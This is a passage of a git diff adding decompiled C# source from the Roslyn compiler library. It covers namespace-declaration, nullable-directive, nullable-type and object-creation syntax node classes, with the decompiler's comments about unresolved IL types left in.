to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || namespaceKeyword != NamespaceKeyword || name != Name || openBraceToken != OpenBraceToken || externs != Externs || usings != Usings || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + NamespaceDeclarationSyntax namespaceDeclarationSyntax = SyntaxFactory.NamespaceDeclaration(attributeLists, modifiers, namespaceKeyword, name, openBraceToken, externs, usings, members, closeBraceToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return namespaceDeclarationSyntax; + } + return namespaceDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new NamespaceDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, NamespaceKeyword, Name, OpenBraceToken, Externs, Usings, Members, CloseBraceToken, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new NamespaceDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, NamespaceKeyword, Name, OpenBraceToken, Externs, Usings, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseNamespaceDeclarationSyntax WithNamespaceKeywordCore(SyntaxToken namespaceKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithNamespaceKeyword(namespaceKeyword); + } + + public new NamespaceDeclarationSyntax WithNamespaceKeyword(SyntaxToken namespaceKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, namespaceKeyword, Name, OpenBraceToken, Externs, Usings, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseNamespaceDeclarationSyntax WithNameCore(NameSyntax name) + { + return WithName(name); + } + + public new NamespaceDeclarationSyntax WithName(NameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, name, OpenBraceToken, Externs, Usings, Members, CloseBraceToken, SemicolonToken); + } + + public NamespaceDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, openBraceToken, Externs, Usings, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseNamespaceDeclarationSyntax WithExternsCore(SyntaxList externs) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithExterns(externs); + } + + public new NamespaceDeclarationSyntax WithExterns(SyntaxList externs) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, OpenBraceToken, externs, Usings, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseNamespaceDeclarationSyntax WithUsingsCore(SyntaxList usings) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithUsings(usings); + } + + public new NamespaceDeclarationSyntax WithUsings(SyntaxList usings) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, OpenBraceToken, Externs, usings, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseNamespaceDeclarationSyntax WithMembersCore(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(members); + } + + public new NamespaceDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, OpenBraceToken, Externs, Usings, members, CloseBraceToken, SemicolonToken); + } + + public NamespaceDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, OpenBraceToken, Externs, Usings, Members, closeBraceToken, SemicolonToken); + } + + public NamespaceDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, OpenBraceToken, Externs, Usings, Members, CloseBraceToken, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new NamespaceDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new NamespaceDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseNamespaceDeclarationSyntax AddExternsCore(params ExternAliasDirectiveSyntax[] items) + { + return AddExterns(items); + } + + public new NamespaceDeclarationSyntax AddExterns(params ExternAliasDirectiveSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithExterns(Externs.AddRange((IEnumerable)items)); + } + + internal override BaseNamespaceDeclarationSyntax AddUsingsCore(params UsingDirectiveSyntax[] items) + { + return AddUsings(items); + } + + public new NamespaceDeclarationSyntax AddUsings(params UsingDirectiveSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithUsings(Usings.AddRange((IEnumerable)items)); + } + + internal override BaseNamespaceDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items) + { + return AddMembers(items); + } + + public new NamespaceDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableContextState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableContextState.cs new file mode 100644 index 0000000..eaa69e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableContextState.cs @@ -0,0 +1,25 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal readonly struct NullableContextState +{ + internal enum State : byte + { + Unknown, + Disabled, + Enabled, + ExplicitlyRestored + } + + internal int Position { get; } + + internal State WarningsState { get; } + + internal State AnnotationsState { get; } + + internal NullableContextState(int position, State warningsState, State annotationsState) + { + Position = position; + WarningsState = warningsState; + AnnotationsState = annotationsState; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableContextStateMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableContextStateMap.cs new file mode 100644 index 0000000..e5ea627 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableContextStateMap.cs @@ -0,0 +1,130 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal readonly struct NullableContextStateMap +{ + private sealed class PositionComparer : IComparer + { + internal static readonly PositionComparer Instance = new PositionComparer(); + + public int Compare(NullableContextState x, NullableContextState y) + { + return x.Position.CompareTo(y.Position); + } + } + + private readonly ImmutableArray _contexts; + + internal static NullableContextStateMap Create(SyntaxTree tree) + { + return new NullableContextStateMap(GetContexts(tree)); + } + + private NullableContextStateMap(ImmutableArray contexts) + { + _contexts = contexts; + } + + private static NullableContextState GetContextForFileStart() + { + return new NullableContextState(0, NullableContextState.State.Unknown, NullableContextState.State.Unknown); + } + + private int GetContextStateIndex(int position) + { + int num = ImmutableArray.BinarySearch(value: new NullableContextState(position, NullableContextState.State.Unknown, NullableContextState.State.Unknown), array: _contexts, comparer: PositionComparer.Instance); + if (num < 0) + { + num = ~num - 1; + } + return num; + } + + internal NullableContextState GetContextState(int position) + { + int contextStateIndex = GetContextStateIndex(position); + if (contextStateIndex >= 0) + { + return _contexts[contextStateIndex]; + } + return GetContextForFileStart(); + } + + internal bool? IsNullableAnalysisEnabled(TextSpan span) + { + bool flag = false; + int num = GetContextStateIndex(((TextSpan)(ref span)).Start); + NullableContextState nullableContextState = ((num < 0) ? GetContextForFileStart() : _contexts[num]); + do + { + switch (nullableContextState.WarningsState) + { + case NullableContextState.State.Enabled: + return true; + case NullableContextState.State.Unknown: + case NullableContextState.State.ExplicitlyRestored: + flag = true; + break; + } + num++; + if (num >= _contexts.Length) + { + break; + } + nullableContextState = _contexts[num]; + } + while (nullableContextState.Position < ((TextSpan)(ref span)).End); + if (!flag) + { + return false; + } + return null; + } + + private static ImmutableArray GetContexts(SyntaxTree tree) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + NullableContextState nullableContextState = GetContextForFileStart(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (DirectiveTriviaSyntax directive in tree.GetRoot(default(CancellationToken)).GetDirectives()) + { + if (directive.Kind() == SyntaxKind.NullableDirectiveTrivia) + { + NullableDirectiveTriviaSyntax nullableDirectiveTriviaSyntax = (NullableDirectiveTriviaSyntax)directive; + SyntaxToken settingToken = nullableDirectiveTriviaSyntax.SettingToken; + if (!((SyntaxToken)(ref settingToken)).IsMissing && nullableDirectiveTriviaSyntax.IsActive) + { + int endPosition = ((SyntaxNode)nullableDirectiveTriviaSyntax).EndPosition; + SyntaxKind syntaxKind = nullableDirectiveTriviaSyntax.SettingToken.Kind(); + NullableContextState.State state = syntaxKind switch + { + SyntaxKind.EnableKeyword => NullableContextState.State.Enabled, + SyntaxKind.DisableKeyword => NullableContextState.State.Disabled, + SyntaxKind.RestoreKeyword => NullableContextState.State.ExplicitlyRestored, + _ => throw ExceptionUtilities.UnexpectedValue((object)syntaxKind), + }; + SyntaxKind syntaxKind2 = nullableDirectiveTriviaSyntax.TargetToken.Kind(); + NullableContextState nullableContextState2 = syntaxKind2 switch + { + SyntaxKind.None => new NullableContextState(endPosition, state, state), + SyntaxKind.WarningsKeyword => new NullableContextState(endPosition, state, nullableContextState.AnnotationsState), + SyntaxKind.AnnotationsKeyword => new NullableContextState(endPosition, nullableContextState.WarningsState, state), + _ => throw ExceptionUtilities.UnexpectedValue((object)syntaxKind2), + }; + instance.Add(nullableContextState2); + nullableContextState = nullableContextState2; + } + } + } + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..16a7d03 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableDirectiveTriviaSyntax.cs @@ -0,0 +1,159 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class NullableDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken NullableKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).nullableKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken SettingToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).settingToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken TargetToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken targetToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).targetToken; + if (targetToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)targetToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal NullableDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNullableDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNullableDirectiveTrivia(this); + } + + public NullableDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken targetToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || nullableKeyword != NullableKeyword || settingToken != SettingToken || targetToken != TargetToken || endOfDirectiveToken != EndOfDirectiveToken) + { + NullableDirectiveTriviaSyntax nullableDirectiveTriviaSyntax = SyntaxFactory.NullableDirectiveTrivia(hashToken, nullableKeyword, settingToken, targetToken, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return nullableDirectiveTriviaSyntax; + } + return nullableDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new NullableDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, NullableKeyword, SettingToken, TargetToken, EndOfDirectiveToken, IsActive); + } + + public NullableDirectiveTriviaSyntax WithNullableKeyword(SyntaxToken nullableKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, nullableKeyword, SettingToken, TargetToken, EndOfDirectiveToken, IsActive); + } + + public NullableDirectiveTriviaSyntax WithSettingToken(SyntaxToken settingToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, NullableKeyword, settingToken, TargetToken, EndOfDirectiveToken, IsActive); + } + + public NullableDirectiveTriviaSyntax WithTargetToken(SyntaxToken targetToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, NullableKeyword, SettingToken, targetToken, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new NullableDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, NullableKeyword, SettingToken, TargetToken, endOfDirectiveToken, IsActive); + } + + public NullableDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, NullableKeyword, SettingToken, TargetToken, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableTypeSyntax.cs new file mode 100644 index 0000000..064cef5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NullableTypeSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class NullableTypeSyntax : TypeSyntax +{ + private TypeSyntax? elementType; + + public TypeSyntax ElementType => ((SyntaxNode)this).GetRedAtZero(ref elementType); + + public SyntaxToken QuestionToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NullableTypeSyntax)(object)((SyntaxNode)this).Green).questionToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal NullableTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref elementType); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)elementType; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNullableType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNullableType(this); + } + + public NullableTypeSyntax Update(TypeSyntax elementType, SyntaxToken questionToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (elementType != ElementType || questionToken != QuestionToken) + { + NullableTypeSyntax nullableTypeSyntax = SyntaxFactory.NullableType(elementType, questionToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return nullableTypeSyntax; + } + return nullableTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public NullableTypeSyntax WithElementType(TypeSyntax elementType) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(elementType, QuestionToken); + } + + public NullableTypeSyntax WithQuestionToken(SyntaxToken questionToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ElementType, questionToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..a127640 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ObjectCreationExpressionSyntax.cs @@ -0,0 +1,132 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ObjectCreationExpressionSyntax : BaseObjectCreationExpressionSyntax +{ + private TypeSyntax? type; + + private ArgumentListSyntax? argumentList; + + private InitializerExpressionSyntax? initializer; + + public override SyntaxToken NewKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ObjectCreationExpressionSyntax)(object)((SyntaxNode)this).Green).newKeyword, ((SyntaxNode)this).Position, 0); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public override ArgumentListSyntax? ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 2); + + public override InitializerExpressionSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 3); + + internal ObjectCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref type, 1), + 2 => ((SyntaxNode)this).GetRed(ref argumentList, 2), + 3 => ((SyntaxNode)this).GetRed(ref initializer, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => type, + 2 => argumentList, + 3 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + 